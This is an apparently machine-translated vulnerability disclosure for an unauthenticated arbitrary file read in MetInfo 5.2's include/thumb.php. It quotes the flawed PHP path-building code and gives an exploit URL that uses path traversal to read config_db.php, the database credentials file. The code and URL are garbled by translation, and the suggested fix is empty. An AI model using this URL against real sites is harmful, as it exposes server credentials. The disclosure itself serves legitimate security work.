Read any file of the latest MetInfo version

Read any file of the latest MetInfo version

Attackers can obtain Arbitrary File Content on the server by submitting specially crafted parameters!

The include/thumb. php file of MetInfo 5.2 (the latest version) is used to obtain thumbnails. However, the thumbnail path constructed by MetInfo has external controllable variables. Attackers can obtain Arbitrary File Content:

The key code for include/thumb. php is as follows:
 

$ Ext1 = explode ("/", $ dir); // $ dir variable is passed in externally $ count = count ($ ext1 ); $ count1 = $ ext1 [$ count-1]; $ ext2 = explode (". ", $ count1); $ ext3 = $ ext2 [1]; // $ ext3 is the $ dir variable file name suffix $ path1 = $ ext2 [0]; // $ ext3 is the name of the $ dir variable File $ dir1 = '.. /upload/thumb_src /'. $ x. '_'. $ y. '/'. $ path1 .'. '. $ ext3; // $ x and $ y are passed in from outside, so the entire $ dir1 variable is fully controllable if (file_exists ($ dir1 )) {// the logic reads the content of the $ dir1 file echo "the file exist :". $ dir1; readfile ("$ dir1");} else {$ f = new upfil E (); $ imgurls = $ f-> createthumb ($ dir, $ x, $ y); readfile ($ imgurls) ;}?>

Attackers can use the following highly-targeted urls:

Include/thumb. php? X = 1 & y =/.../../config & dir = config_db.php

Then you can see the config_db.php code in the browser source code:
 

This vulnerability does not require logon or any permissions !!!
 

Solution:

Handle related logic!